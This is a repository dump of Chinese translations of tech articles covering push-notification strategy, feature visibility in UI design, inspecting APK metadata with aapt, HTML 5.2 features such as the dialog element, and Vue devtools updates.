Weiss说,“这是一个很关键的时刻,如果用户拒绝授权,应用无法引导用户重新进入授权页面,这极大地降低了他们变成活跃用户的可能性。即使他们接受,这也不是个有约束力的合同。” 如果用户厌倦了你的推送通知,最好的情况是他们可以选择在应用中保留哪些通知是活动的,但更可能的是导致他们到手机设置中关闭所有通知或者卸载应用。这实际上是不可逆的。注:提升给用户的第一个通知体验,否则他们会关闭通知渠道。 因此,第一步是提示用户在一开始同意接收通知 —— 如果他们说不,其余的建议将变得不再重要。它涉及用户教育,在用户发现有价值的内容之后再弹出提示,或者授权绿灯亮起来时再申请授权许可,可以提升转化率。然后是关于保持信任和保持开放的沟通,这两个步骤有一些不错的文献可以参考,Weiss 推荐了以下的文章: * [移动端请求用户权限的正确方式](https://library.launchkit.io/the-right-way-to-ask-users-for-ios-permissions-96fa4eb54f2c#.3u7waqk3w) —— [Brenden Mulligan](https://twitter.com/mulligan) * [为什么 60% 的用户选择停用推送通知,如何应对这种状况](http://andrewchen.co/why-people-are-turning-off-push/) ——[Andrew Chen](https://twitter.com/andrewchen) * [让用户再次回到你的应用的正确方式](https://medium.com/circa/the-right-way-to-ask-users-to-review-your-app-9a32fd604fca#.iz4jrwiin) ——[Matt Galligan](https://twitter.com/mg) 考虑到获取通知权限的高风险,这些文章的重点默认是如何规避风险。“如果你足够聪明,那么实际上涉及到通知你会变得非常谨慎。在所有实验中建立安全网,因为任何失误都会产生很大的影响。” Weiss 说,“例如,如果我每周发布一次推送,所有用户都会收到,我会将它作为一个 5% 或 10% 的实验,以覆盖任何导致用户选择退出通知的潜在缺陷。” **指定三个指标来衡量通知** 为了评估你的通知策略,需要给出以下三个指标:**1)选择取消通知权限的用户比率 2)卸载率 和 3)每百次推送的操作次数**。 “要评估一个好的通知,你必须在用户主动参与和取消通知之间达到平衡。这是一个棘手的平衡,因为你可能会比较一个短期的主动参与用户数的提升与长期下来的卸载用户数,不能再重新参与。” Weiss 说。 “从设定卸载率和通知禁用率开始,如果你的应用程序是面向消费者的,而且卸载率低于 2%,则表示你处于安全区。所以如果你的每周流失率为 1%,你的增长率为 1.02% 到 2%,这不是毁灭性的。监测所有剧烈的波动,因为一周一周的叠加效应可能会造成损失。” 为了评估通知策略的回报,不要考虑打开率而是衡量具体操作。“我建议的一个方法是监控推送通知的时间窗口,统计到达绑定到原始通知的操作的数目。例如,如果通知鼓励用户评价他们最近访问过的地方,分析用户在 2-6 小时的窗口内每百次推送通知的评分数。” Weiss 说,“总是有归属的问题,但如果你在发送通知后定义一个固定的时间窗口进行评估,结果会让你更能接受。 **...校准指标以用来比较 iOS 和 Android 上的表现。** 对于那些想要将打开率作为指标进行追踪的人,Weiss 对不同操作系统上的通知的性质有几点看法。“通过电子邮件跟踪打开率是很容易的,但是你要知道 iOS 的打开率远远低于 Android;进行相同的推送,Android 可以显示多达 iOS 平台五倍的打开率。” Weiss 说,“在 Android 用户倾向于处理通知,因为只有在你手动打开每个通知时,通知才会清除,而在 iOS 上,一旦你从锁定屏幕打开一个通知,其他通知就会清除。 与其他功能一样,不同的操作系统在收到通知时表现也不同。“例如,Android 上的通知可以内置图片,这样可以提高 15-20% 的互动概率。由于大多数开发人员通常在 iOS 平台上工作,他们认为发送 Android 推送通知也不可以附带图片。” Weiss 说,“还有内置操作按钮,让用户可以直接从通知进行操作。这些也提升了更高的互动概率。即使作为一个 iPhone 用户,我也不得不说,从根本上来说,Android 的通知开发都是更好的。 > 用个性化的内容填充推送通知,让他们听起来像来自一个亲密的朋友。 **抵制新奇性效应** 运行推送通知的实验至少六周,12 周是一个不错的选择。 Weiss 明白,进行更长时间的测试是必要的,以表现出所有负面影响。“一般用户将忽略不必要的推送大约一个月,而不采取任何操作,如更改设置或卸载应用。一旦超过这个阈值,烦人的通知很快被清除。” Weiss 说。 通知具有强烈的新奇性倾向,这延迟了用户的真实反应。Weiss 曾发起了一个实验来测试用户对表情符号的反应。“我们将文本的长度减半,并添加了相关的表情符号。在实验的前两个星期,我们统计指标达到了顶峰。用户打开应用的操作明显。每周活跃用户数( WAUs )上升。它迷惑性地宣称未来是表情符号的。” Weiss 说,“随着时间的推移,我们继续监控它,增长放缓,然后变平。最后,影响是中性的。这并不是一件坏事,但如果我们基于初步结果就分配资源,那就会导致问题。因此最好花几个月时间而不是几个星期来测试推送通知。 **如何测试?何时测试?在哪测试?** 推送通知的“为什么”和“谁”是比较直接的 —— 目标是提升所有用户的参与。然而,在推送通知的方式上却有各种各样的想法。Weiss 在他的职业生涯中,帮助启动了 100 多个通知实验 —— 测试了从一天时间内到触发,到回到首屏。 [与运输软件一样,没有“正确的方式”](http://firstround.com/review/the-right-way-to-ship-software/) ,但在这里他分享一些无可争议的点: * **只有最紧急的通知才需要开启振动。** “通过推送,你可以控制默认设置是手机振动还是静音。从我所有的用户研究中我发现这是最高风险的决策之一。如果一个通知振动了用户,她发现并不紧急,那么应用程序被卸载的可能性立即暴增。” Weiss 说,“如果它是紧急的 —— 就像你即将错过你的飞机或直接来自同事的紧急消息 —— 一个嗡嗡声可以是一个非常强大和值得称赞的工具。如果没有,这将会产生危险、发生意外,因此,对于从朋友那得到一个赞或者喜欢,不要使用振动。用户平均每天查看手机的时间为 70 到 100 次,他们很可能在接下来的 15 分钟内看到你的消息。” * **匹配用户的生物节律。** “推送的时间很重要,但没有一个规则来规定绝对最好的窗口时间。但请花一点时间思考下如何监控用户作息进度,避免在用户睡着时发送通知,因为这样你将吵醒他们,或者他们会在早上发现一堆来自你的应用的推送消息。” Weiss 说,“也要考虑你的内容的性质,在上午发送新闻效果不错,以及在上下班路上时发送通知也不错。通过监控用户的参与来提升你的策略。” * **在你的通知副本中使用各种个性化。** “它产生了巨大的差异。插入用户的名字不算在内,例如' Noah,这里是你星期二的每日交易!'在你的通知副本中显示你知道的有关用户的信息 —— 否则他们将激活他们天生的过滤器来应对爆炸营销。” Weiss 说到,“ 当用户查看他们的时间线时,Twitter 有一个好的做法,该服务提示你查看 Evelyn,Marcos 和Lydia 的最近一天的推文。这些都是你关注的、可以叫出名字的人。Spotify 对于你经常听的艺术家的新歌也一样处理。 * **像 Uber 一样思考你的推送。** “如果你的 Uber 司机在曼哈顿的任一个街区上放下了你,当你要求在下东区一个特定的街区下车,你会高兴吗?这很显然,但初创公司可能忘记将他们的用户指引到在通知中提示的**准确**界面上。” Weiss 说,“如果通知引导用户进到他们期望的界面,人们就会点击它。如果没有,他们下一次就会忽略它。许多电子商务应用通过将用户引导到通用界面而不是特定项目或页面来解决这个问题。 > 魔术师把你的选中的牌变到一副牌的最上面。拥有智能通知的应用将拥有更多的手法,在适当的时间将他们的服务呈现到人们的手机上。 ## 通知的未来 智能手机和智能手表的屏幕不断变化,但主屏幕的实际空间始终是有限的,无论大小。考虑到手机上保存的应用程序数量激增,此限制是一个约束。以下是 Weiss 从移动操作系统的演变得到对未来通知的想法: **让锁屏成为新的主屏幕。** 事实上,人们看到的比手机主屏幕更多的唯一地方就是手机锁屏界面。“你的主屏幕上放置的你想要触手可及的应用,通常限制在不到 20 个。你的锁屏则列出了手机上的数百个应用最近的通知。” Weiss 说,“我认为锁屏将取代主屏幕,将会有一个全新的主屏体验,将应用以流的方式呈现给你。最终排名将不仅仅是取决于最近使用和使用频率。系统通知将感觉像 Twitter 的实时动态,嘈杂的信息流让人感觉像 Facebook 的热门动态。 > 你可以随时切换到某个应用,但通知将是你坚定不移的向导。 [应用绑定和解绑的自然现象](http://ben-evans.com/benedictevans/2014/8/1/app-unbundling-search-and-discovery) ,Weiss 看到一个潮汐般的转变:锁屏将再次重新绑定它们。“在过去三年中,应用生态系统中出现了一个渐进的、巨大的分裂。应用程序已变得针对单一使用场景更加专业化。” Weiss 说,“但随着用户聚集了一堆应用,在正确的时间选择正确的服务变得越来越困难。通知给用户提供及时有用的信号。将会有一个新的导航范例,当用户正在考虑使用某些应用时,智能地控制这些应用。 **丰富的上下文感知。** 如果用户越来越多地通过发送到锁屏界面的通知流来与应用交互,这将是因为他们确信他们被发送了最及时、最相关的警报。这只会发生在一个强大的上下文感知中。“手机上的传感器使你能够在移动设备上建立一个感知上下文级别的服务,你永远不可能在桌面或电子邮件上进行这样的感知。你如何把这种感知翻译成真正可行的、及时的、相关的通知?”魏斯问,“这是一个令人振奋的新领域,想象一个服务,可以区分是否有人一个特定的场所停驻,无论是咖啡馆,机场还是健身房。对上下文的独特感知创造了大量发送相关推送通知的新机会。” > 最好的应用将是那些你不必记住他们的应用,他们会主动提醒你。这种应用将是未来的唯一类型应用。 “我最喜欢 Foursquare 在一个城市新的或热门的场所的推送通知。根据你的手机的定位,它可以将你与实际访问的地方关联起来。” Weiss 说,“它给你一个通知,通常每周一次,'嘿,这里有三个城市热门地方,你还没有去过。’这是一个神奇的时刻,当你意识到你仅仅是带着口袋里的手机在周围走了走,也许你甚至整整一个星期都没使用过这个应用。你不需要做任何事,它就将你拉回这个应用,并给你惊喜。” 完整利用移动设备上的传感器具有挑战性,但可以从一些基本的方向开始。“虽然大多数开发人员无法简单地建立这种类型的位置解析,但是基于后台定位构建一个模型用来解析一个人在家还是在工作是很容易的。这是两个用来触发相关的推送非常丰富的上下文。” Weiss 说。 ## 总结 虽然通知可以提高留存率和互动率,但不要将其视为增长的黑科技。他们有潜力成为与用户互动的最直观、最亲密的方式。为了建立这种可靠的关系,他们必须是及时的、个性化的、可操作的。通知策略必须请求用户的授权,并根据其停用、卸载和每100次通知点击次数来权衡。更好地方式是根据用户主动输入和被动地感知上下文来定制通知。 “我们还在移动时代的早期。设备继续改进,将会拥有更大的屏幕,更长的电池寿命或者变成可穿戴的。” Weiss 说,“然而无论硬件如何发展,通知将是你的移动设备最亲密的功能。像亲密的朋友或家人一样,智能通知会记住你的偏好和历史。他们会准确地指引你,让你与亲人保持联系,并在最合适的时间提醒你重要的事情。这大概就是技术的力量。” ================================================ FILE: TODO/what-you-see-is-what-you-use.md ================================================ > * 原文地址:[What You See is What You Use](https://medium.com/the-year-of-the-looking-glass/what-you-see-is-what-you-use-5a97677a8c71?ref=uxdesignweekly#.8n33go9m6) * 原文作者:[Julie Zhuo](https://medium.com/@joulee) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[cbangchen](https://github.com/cbangchen), [siegeout](https://github.com/siegeout) # 你的设计应该「所见即所得」 几年前的一个夏天,我有机会住在旧金山里同一栋楼不同单元的两个 Loft 公寓中。 由于这是同一栋楼,所以你可能会想这两个单元应该是相似的。的确,它们都有1000平方英尺的面积,墙壁上全是巨大的格子窗户,使得阳光和温度能倾泻到屋子里(住在屋子里就像我的故乡德克萨斯州一样,正午阳光与地面的角度有90度)。它们的屋子一角都有厨房,还有金属楼梯延伸到二楼的开放式卧室,以及那个烦人的中空门。 最大的不同就是我们待的第一个公寓是在高层,而第二个公寓是在底层。为何这会差别这么大呢?高层的公寓有更棒的视野。而两个公寓都有户外空间,底层公寓的户外空间是后院,而高层公寓的户外空间更为隐私,是楼顶的天台。 我们待的第一个公寓有一个露天的天台。可能并没有下图那么奢华,但是当我们第一次看到露台的时候大家都兴奋不已。露台上几张椅子围着一张小桌子,而且可以看到很棒的城市的景色,最棒的就是下午四点跟朋友小酌一杯,来一盘卡坦岛拓荒者,或者在浓雾中读一本很棒的书。 ![](https://cdn-images-1.medium.com/max/800/1*krgFBDdD83SMH6eVcb7q5A.jpeg) 这真是一个超棒的露台。 当我们要搬走的时候,我们告别了天顶露台,迎接我们的是一个小巧的后院。下面的效果图只是为了简单示意,实际上我们的后院并没有草地,但有足够大的长沙发和遮阳伞,一些盆栽还有一个烤架。 ![](https://cdn-images-1.medium.com/max/800/1*VCIac-3nw683O8EwhkEqvQ.jpeg) 这真是一个超棒的后院。 你可能会想到,这两个公共空间是各有优缺点的。我的意思是,一个拥有极佳的视野,而另一个又很方便进出。有得必有所失。 事实上,在两个不同的公寓生活后,我们在露台上享受的时光屈指可数。 在同样长的时间内,_每一个阳光午后_我们都会待在露台上。 我很怀念当时的时光。 > 而事实上,无论天台多么可爱、装潢得多么漂亮,它的使用次数也不会跟后院的使用次数差不多。 当我们搬到了底层的公寓,我们可以时刻透过窗户看到外面的院子。一天20次、50次,甚至上百次,我们会看到院子里舒服的躺椅还有阴凉的遮阳伞,_就在我们眼前_。我们会在天气很棒的时候不自觉地走进后院,在院子里办公,与朋友闲谈或者串着烧烤。 当我们住在顶层公寓的时候,我们并不会天天看到露天天台。但实际上走上天台只需要大概30秒的时间,这并不困难。_但天台并不在我们的视野内_,我们必须想到天台的时候才会走上去。这样的想法就跟决定出发去楼下小卖部或者公园一样。同样的,如果我们有访客,我们才会想到带他上楼,让他赞叹一下我们的天台。我们并不会在屋里闲逛的时候被窗外的景色吸引而跑上天台。我们很容易忘记它的存在,所以我们很少使用露天天台。 我在设计界面的时候,常常会想到天台和后院的例子。 我们设计师很喜欢极简的界面,留白及静谧。我们钟情于将大量的功能和操作以优雅地方式隐藏于视野之外。藏在菜单之后、抽屉列表之内,亦或长按或者轻扫之后。 我们的理由就是,“人们学过一次的操作,他们下次就会知道怎么使用了。”还会说,“无论我们把操作放在界面的哪里,用户都会有相同的选择。” 我们可以很容易地证明可见性和初始状态的重要性。 很久以前,Facebook 在移动客户端的左上角使用面包屑导航来组织信息。这是一个很简洁很优雅、用于区分不同功能模块的方式。(而且这个导航菜单可以保证手机客户端的信息跟网站相一致)这个滑动展开的侧导航也渐渐成为主流,目前市面上依旧有很多应用使用这样的导航。 ![](https://cdn-images-1.medium.com/max/800/1*ArDcJETUpnajuHlnLwH3fg.png) 汉堡包图标导航窗格 但很可惜,汉堡包导航菜单就像露天天台。当你想到“我想前往 X”的时候才会点击。这是典型的_看不到就想不到_。 我们改回了标准的底部标签导航方式,就像从天台到了后院。屏幕上多了更多的元素,但这是个十分常见而且很高效的方式,帮助我们的用户更好地看到我们主要的功能模块,并方便其点击跳转前往。 我找到了一些界面设计中关于_天台_和_后院_的讨论观点: * **入口处**:当我们设计一个新功能的时候,通常第一步就是直接展示一个理想的原型给用户,同时将新功能的特性以及该如何使用都告诉用户。这个设计思路就跟你在思考你家户外空间的布局和构造一样,首先需要问自己“这公共空间是在房子后面还是在楼顶?”设计界面的时候应该问自己“_用户是如何发现这些功能的?_”合理规划入口的位置是一件十分困难而且对于你产品的成功与否至关重要的事情,相较而言,争论用户点击之后呈现的功能则没这么重要。 * **菜单栏**:我们试图将大量的功能藏在菜单和手势之后,并且假想用户每次的操作都有明确的点击目标。可是大部分用户却不是这样的,除非设计的时候把某些功能特殊提及。即使你成功地通过隐喻等手法让用户知道如何操作,但是让用户养成操作习惯也需要很长的时间。如果这个功能对于大部分用户而言是十分重要的,那么你就需要强调它。如果这个功能并不重要,则需要考虑要不要去掉这个功能以便减少用户的认知负担。 * **让用户做选择**:当设计时遇到如何安排并组织功能的时候,有时候没有明确的答案,设计团队常常会说,“我们把选择权交给用户吧。”当你这样做的时候,大部分的用户(80%到90%)都会选择有初始内容的方案,所以合理地规划功能内容是设计团队无法避免的工作。(完全不展示初始内容的思路是十分错误的,你很有可能丧失很大一部分不愿意做操作选择的用户) * **相关的操作**:当用户已经在做某件事或看某物的时候,向他推荐相似的内容,他更容易受之吸引。正在看关于奥运会的文章?那么你可能会对这个作者的其他奥运文章感兴趣。被这张中世纪风格的卧室所吸引?那么为了你的重新装潢计划来看看其他令人惊艳的卧室照片吧。正在给你的邮件事件进行标星分类?那么还有这些事件也是你现在应该需要考虑的。这些都是在体验设计中十分高效的典型例子。 * **使用具有号召力的平台**:有号召力的平台的优势就是他们已经拥有大量的用户。写一篇文章并且放在我的个人网站上就像“天台”一样。写一篇文章并且分享到 Medium, Facebook, Twitter 上,就好像“后院”一样,可以获得更多的流量。这个策略可以应用于所有其他独立的设计中,比如网站空间、网页、App、页签导航或者书签。问问自己,我是否真的需要创建我自己的平台?是否有更方便的平台帮助我完成我的目标? 如果你想要产品的功能被用户发现并使用,把它放在用户看得见的地方吧。 ================================================ FILE: TODO/whats-in-the-apk.md ================================================ > * 原文地址:[Whats in the APK?](http://crushingcode.co/whats-in-the-apk/) * 原文作者:[Nishant Srivastava](http://crushingcode.co/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Newt0n](https://github.com/newt0n) * 校对者:[shliujing](https://github.com/shliujing), [siegeout](https://github.com/siegeout) # APK 里有什么? ![header](http://crushingcode.github.io/images/posts/whatsintheapk/header.jpg) 如果我给你一份 Android 应用的源码然后请你提供关于 `minSdkVersion`, `targetSdkVersion`, permissions, configurations 等 Android 应用相关的信息,相信几乎每个有 Android 开发经验的人都能在短时间内给出答案。但如果我给你一个 Android 应用的 **APK** 文件然后让你给出同样的信息呢?🤔乍一想可能会有点棘手。 事实上我就遇到了这样的情况,尽管我很早就知道 `aapt` 这类工具的存在,但当我需要获取 `apk` 里的权限声明时也不能在第一时间想到方案。很显然我需要复习下相关概念然后找到个有效的方案来解决这个问题。这篇文章将会解释我是怎么做的,在大家想对任何别的 App 做这种反向内容查找的时候也会有帮助。🤓 **最常见的解决方案一定是下面这种** 从 **[APK[1]](https://en.wikipedia.org/wiki/Android_application_package)** 的定义开始 > **Android application package (APK)** 是一种包文件格式,在 Android 操作系统里它被用来进行应用程序的分发和安装。 > > …**APK** 是一种存档文件, 具体的说是基于 JAR 文件格式的 **zip** 格式包,以 `.apk` 作为文件扩展名。 ![header](http://crushingcode.github.io/images/posts/whatsintheapk/apk.jpg) ..嗯,所以它是基于 **ZIP** 格式的,我能做的就是把它的扩展名从 **.apk** 改为 **.zip**,然后 ZIP 解压工具应该能解压出它的内容。 ![header](http://crushingcode.github.io/images/posts/whatsintheapk/rename.jpg) ![header](http://crushingcode.github.io/images/posts/whatsintheapk/zip.jpg) 这就厉害了, 所以现在我们能看到并检查 zip 文件里的内容 ![header](http://crushingcode.github.io/images/posts/whatsintheapk/contents.jpg) 现在你可能会想我们已经能访问到所有的文件,马上就能提供所有文章开头要求的那些信息了。不过,并没有这么简单的,亲😬。 可以试试随便用一个文本编辑器打开 `AndroidManifest.xml` 文件看看它的内容。你应该会看到这样的文本 ![header](http://crushingcode.github.io/images/posts/whatsintheapk/androidmanifest.jpg) 这意味着这个披着 `xml` 格式外衣的 `AndroidManifest.xml` 文件不再是我们人类可读的格式了。所以你已经没有机会直接查看记载着 APK 文件基本信息的 `AndroidManifest.xml` 文件了。 其实还是有办法的 😋 有一些工具可以分析 Android APK 文件,而且有一款工具从 Android 系统诞生开始就有了。 > 我想所有经验丰富的开发者都知道这款工具,但我确信还是有很多的新手和富有经验的开发者从来没听过。 这个作为 Android 构建工具的组件的小工具就是 #### **`aapt`** - [Android Asset Packaging Tool[2]](http://elinux.org/Android_aapt) > 这个工具可以用来列举、添加、移除 APK 包里的文件,打包资源或者压缩 PNG 文件等等。 首先,这个工具到底安装在哪?🤔 这个问题问得好,在你 Android SDK 的构建工具里可以找到它。 /build-tools//aapt 它到底能做些什么 ? 我们用 `man` 命令看一下,输出如下: * `aapt list` - 列举 ZIP, JAR 或者 APK 文件里的内容。 * `aapt dump` - 从 APK 文件里导出指定的信息。 * `aapt package` - 打包 Android 资源。 * `aapt remove` - 删除 ZIP、JAR 或者 APK 文件里的内容。 * `aapt add` - 把文件添加到 ZIP、JAR 或者 APK 文件里。 * `aapt crunch` - 压缩 PNG 文件。 我们感兴趣的是 `aapt list` 和 `aapt dump` 命令,尤其是有什么可以帮助我们得到 `apk` 信息的东西。 让我们直接对 `apk` 文件运行下 `aapt` 工具来找找我们想要的信息。 * * * ##### 从 APK 获取基础信息 aapt dump badging app-debug.apk ##### > 输出 package: name='com.example.application' versionCode='1' versionName='1.0' platformBuildVersionName='' sdkVersion:'16' targetSdkVersion:'24' uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE' uses-permission: name='android.permission.CAMERA' uses-permission: name='android.permission.VIBRATE' uses-permission: name='android.permission.INTERNET' uses-permission: name='android.permission.RECORD_AUDIO' uses-permission: name='android.permission.READ_EXTERNAL_STORAGE' application-label-af:'Example' application-label-am:'Example' application-label-ar:'Example' .. application-label-zu:'Example' application-icon-160:'res/mipmap-mdpi-v4/ic_launcher.png' application-icon-240:'res/mipmap-hdpi-v4/ic_launcher.png' application-icon-320:'res/mipmap-xhdpi-v4/ic_launcher.png' application-icon-480:'res/mipmap-xxhdpi-v4/ic_launcher.png' application-icon-640:'res/mipmap-xxxhdpi-v4/ic_launcher.png' application: label='Example' icon='res/mipmap-mdpi-v4/ic_launcher.png' application-debuggable launchable-activity: name='com.example.application.MainActivity' label='' icon='' feature-group: label='' uses-feature: name='android.hardware.camera' uses-feature-not-required: name='android.hardware.camera.autofocus' uses-feature-not-required: name='android.hardware.camera.front' uses-feature-not-required: name='android.hardware.microphone' uses-feature: name='android.hardware.faketouch' uses-implied-feature: name='android.hardware.faketouch' reason='default feature for all apps' main other-activities supports-screens: 'small' 'normal' 'large' 'xlarge' supports-any-density: 'true' locales: 'af' 'am' 'ar' 'az-AZ' 'be-BY' 'bg' 'bn-BD' 'bs-BA' 'ca' 'cs' 'da' 'de' 'el' 'en-AU' 'en-GB' 'en-IN' 'es' 'es-US' 'et-EE' 'eu-ES' 'fa' 'fi' 'fr' 'fr-CA' 'gl-ES' 'gu-IN' 'hi' 'hr' 'hu' 'hy-AM' 'in' 'is-IS' 'it' 'iw' 'ja' 'ka-GE' 'kk-KZ' 'km-KH' 'kn-IN' 'ko' 'ky-KG' 'lo-LA' 'lt' 'lv' 'mk-MK' 'ml-IN' 'mn-MN' 'mr-IN' 'ms-MY' 'my-MM' 'nb' 'ne-NP' 'nl' 'pa-IN' 'pl' 'pt' 'pt-BR' 'pt-PT' 'ro' 'ru' 'si-LK' 'sk' 'sl' 'sq-AL' 'sr' 'sr-Latn' 'sv' 'sw' 'ta-IN' 'te-IN' 'th' 'tl' 'tr' 'uk' 'ur-PK' 'uz-UZ' 'vi' 'zh-CN' 'zh-HK' 'zh-TW' 'zu' densities: '160' '240' '320' '480' '640' * * * ##### 从 APK 的 AndroidManifest 中获取权限声明列表 aapt dump permissions app-debug.apk ##### > 输出 package: com.example.application uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE' uses-permission: name='android.permission.CAMERA' uses-permission: name='android.permission.VIBRATE' uses-permission: name='android.permission.INTERNET' uses-permission: name='android.permission.RECORD_AUDIO' uses-permission: name='android.permission.READ_EXTERNAL_STORAGE' * * * ##### 获取 APK 的配置列表 aapt dump configurations app-debug.apk ##### > 输出 large-v4 xlarge-v4 night-v8 v11 v12 v13 w820dp-v13 h720dp-v13 sw600dp-v13 v14 v17 v18 v21 ldltr-v21 v22 v23 port land mdpi-v4 ldrtl-mdpi-v17 hdpi-v4 ldrtl-hdpi-v17 xhdpi-v4 ldrtl-xhdpi-v17 xxhdpi-v4 ldrtl-xxhdpi-v17 xxxhdpi-v4 ldrtl-xxxhdpi-v17 ca af .. sr b+sr+Latn ... sv iw sw bs-rBA fr-rCA lo-rLA ... kk-rKZ uz-rUZ ..也可以试试这些 # 打印出 APK 里的资源清单 aapt dump resources app-debug.apk # 打印出指定 APK 里编译过的 xml aapt dump xmltree app-debug.apk # 打印出编译过的 xml 里的字段 aapt dump xmlstrings app-debug.apk # 列出 ZIP 存档里的内容 aapt list -v -a app-debug.apk 就像你看到的,你可以轻松的通过 `aapt` 工具直接从 `apk` 获取信息甚至都不用尝试解压 `apk` 文件。 `appt` 还可以完成很多操作,你可以对 `aapt` 使用 `man` 命令获取详细说明。 aapt r[emove] [-v] file.{zip,jar,apk} file1 [file2 ...] 从 ZIP 归档中删除指定文件 aapt a[dd] [-v] file.{zip,jar,apk} file1 [file2 ...] 添加指定文件到 ZIP 归档中 aapt c[runch] [-v] -S resource-sources ... -C output-folder ... 执行 PNG 预处理操作并把结果存储到输出文件夹中 有兴趣的话可以自己探索一下,这里就不赘述了。 🙂 欢迎评论和建议。 > 从 [AndroidWeekly Issue 224[3]](http://androidweekly.net/issues/issue-224) 获取更多文章和教程, 谢谢你们的厚爱。 如果想获得更多类似的 Android 开发技巧,敬请关注我的 **[Android Tips & Tricks[4]](https://github.com/nisrulz/android-tips-tricks)** Github 仓库。我会不断的更新内容。 ================================================ FILE: TODO/whats-new-in-html-5-2.md ================================================ > * 原文地址:[What’s New in HTML 5.2?](https://bitsofco.de/whats-new-in-html-5-2/) > * 原文作者:[bitsofco](https://bitsofco.de/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-html-5-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-html-5-2.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[Raoul1996](https://github.com/Raoul1996), [吃土小2叉](https://github.com/xunge0613) # HTML 5.2 有哪些新内容? 就在不到一个月前,HTML 5.2 正式成为了 W3C 的推荐标准(REC)。当一个规范到达 REC 阶段,就意味着它已经正式得到了 W3C 成员和理事长的认可。并且 W3C 将正式推荐浏览器厂商部署、web 开发者实现此规范。 在 REC 阶段有个原则叫做[“任何新事物都至少要有两种独立的实现”](https://www.slideshare.net/rachelandrew/where-does-css-come-from/27?src=clipshare),这对于我们 web 开发者来说是一个实践新特性的绝佳机会。 在 HTML 5.2 中有一些添加和删除,具体改变可以参考官方的 [HTML 5.2 变动内容](https://www.w3.org/TR/html52/changes.html#changes)网页。本文将介绍一些我认为与我的开发有关的改动。 ## 新特性 ### 原生的 `` 元素 在 HTML 5.2 的所有改动中,最让我激动的就是关于 [`` 元素](https://www.w3.org/TR/html52/interactive-elements.html#elementdef-dialog)这个原生对话框的介绍。在 web 中,对话框比比皆是,但是它们的实现方式都各有不同。对话框很难实现可访问性,这导致大多数的对话框对那些不方便以视觉方式访问网页的用户来说都是不可用的。 新的 `` 元素旨在改变这种状况,它提供了一种简单的方式来实现模态对话框。之后我会单独写一篇文章专门介绍这个元素的工作方式,在此先简单介绍一下。 由一个 `` 元素创建对话框: ```

            Dialog Title

            Dialog content and other stuff will go here

            ``` 默认情况下,对话框会在视图中(以及 DOM 访问中)隐藏,只有设置 open 属性后,对话框才会显示。 ``` ``` `open` 属性可以通过调用 `show()` 与 `close()` 方法开启或关闭,任何 `HTMLDialogElement` 都可以调用这两个方法。 ```

            Dialog Title

            Dialog content and other stuff will go here

            ``` 目前,Chrome 浏览器已经支持 `` 元素,Firefox 也即将支持(behind a flag)。 [![](https://bitsofco.de/content/images/2018/01/caniuse-dialog.png)](http://caniuse.com/#feat=dialog) 上图为 caniuse.com 关于 dialog 特性主流浏览器兼容情况的数据 ### 在 iFrame 中使用 Payment Request API(支付请求 API) [Payment Request API](https://www.w3.org/TR/payment-request/) 是支付结算表单的原生替代方案。它将支付信息置于浏览器处理,用来代替之前各个网站各不相同的结算表单,旨在为用户提供一种标准、一致的支付方式。 在 HTML 5.2 之前,这种支付请求无法在文档嵌入的 iframe 中使用,导致第三方嵌入式支付解决方案(如 Stripe, Paystack)基本不可能使用这个 API,因为它们通常是在 iframe 中处理支付接口。 为此,HTML 5.2 引入了用于 iframe 的 `allowpaymentrequest` 属性,允许用户在宿主网页中访问 iframe 的 Payment Request API。 ``` 字段内容会被序列化为 JSON 。举个例子,如果你想输入一个字符串,则打字输入带双引号的 `"hello"`。数组则应该像 `[1, 2, "bar"]` ,对象则为 `{ "a": 1, "b": "foo" }` 。 目前可以编辑以下几种类型的值: * `null` 和 `undefined` * `String` * 字面量: `Boolean` , `Number` , `Infinity` , `-Infinity` 和 `NaN` * Arrays * Plain objects 对于 Arrays 和 Plain objects,可以通过专用图标来增删项。也可以重命名对象的 key 名。 如果输入的不是有效的 JSON 则会显示一条警告信息。然而,为了更方便,一些像 `undefined` 或者 `NaN` 的值是可以直接输入的。 未来的新版本会支持更多类型的! #### 快速编辑 通过 “快速编辑” 功能可以实现仅仅鼠标单击一下,就可以编辑一些类型的值了。 布尔值可以直接通过复选框进行切换: 数值可以通过加号和减号图标进行增减: 使用键盘的修改键去进行增减会更快一些。 ### 在编辑器中打开一个组件 如果项目中使用了 vue-loader 或 Nuxt 的话,现在你就可以在你最喜欢的编辑器里打开选定的组件(只要它是单文件组件)。 1. 按这份 [设置指南](https://github.com/vuejs/vue-devtools/blob/master/docs/open-in-editor.md) 操作 (如果你使用的是 Nuxt,就什么都不用做) 2. 在组件检查器中,将鼠标移动到组件名上 —— 你会看到一个显示文件路径的提示框 3. 单击组件名就会直接在编辑器中打开该组件了 ### 显示原始的组件名 这一功能由 [manico](https://github.com/manico) 提出的 PR 实现 默认情况下,组件名都会被格式化为驼峰形式。你可以通过切换组件标签下的 "Format component names" 按钮来禁用这一功能。这个设置将被记住,它也将被应用到 Events 标签页中。 ### 检查组件更容易 在 Vue devtools 开启的情况下,可以右键单击一个组件进行检查: ![](https://cdn-images-1.medium.com/max/800/1*8fhP5VTb6uev-8HfI4stYw.png) 在页面中右键单击一个组件 也可以通过特殊的方法 `$inspect` 以编程的方式来检查组件: ``` ``` 在组件中使用 `$inspect` 方法。 无论以哪种方式进行,组件树都会自动扩展到新选择的组件。 ### 按组件过滤事件 这一功能由 [eigan](https://github.com/eigan) 提出的 PR 实现 现在你可以按发出事件的组件来过滤历史事件了。输入 `<` 符号,后面跟着组件全名或组件名的一部分: ### Vuex 检查器过滤功能 这一功能由 [bartlomieju](https://github.com/bartlomieju) 提出的 PR 实现 Vuex 检查器的输入框现在有了过滤功能: ### 垂直布局 这一功能由 [crswll](https://github.com/crswll) 提出的 PR 实现 devtools 不够宽时,将切换到更方便使用的垂直布局。你可以像水平模式下一样,移动上下窗格间的分隔线。 ### 滚动到组件功能改进 